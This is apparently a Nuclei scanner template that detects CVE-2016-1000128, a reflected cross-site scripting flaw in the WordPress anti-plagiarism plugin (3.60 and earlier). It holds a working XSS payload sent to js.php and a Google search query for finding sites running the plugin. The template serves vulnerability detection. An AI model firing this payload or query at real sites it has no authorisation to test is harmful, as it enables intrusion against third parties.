id: CVE-2016-1000128

info:
  name: WordPress anti-plagiarism <=3.60 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress anti-plagiarism 3.6.0 and prior are vulnerable to reflected cross-site scripting.
  remediation: |
    Update the WordPress anti-plagiarism plugin to version >3.60 or apply the latest security patches provided by the vendor.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=161
    - https://wordpress.org/plugins/anti-plagiarism
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000128
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000128
    cwe-id: CWE-79
    epss-score: 0.02927
    epss-percentile: 0.85877
    cpe: cpe:2.3:a:anti-plagiarism_project:anti-plagiarism:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "anti-plagiarism_project"
    product: "anti-plagiarism"
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/anti-plagiarism\""
  tags: cve2016,cve,wordpress,xss,wp-plugin,anti-plagiarism_project
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/anti-plagiarism/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'anti plagiarism'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/anti-plagiarism/js.php?m=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402202f698137efb73f92035ab986f09f309f86c321e504737dc971d7a182dc7bc34802204ca56c4edd36ff95696be339f9b7667193bd2de0a376550b9ba1607c3547f54d:922c64590222798bb761d5b6d8e72950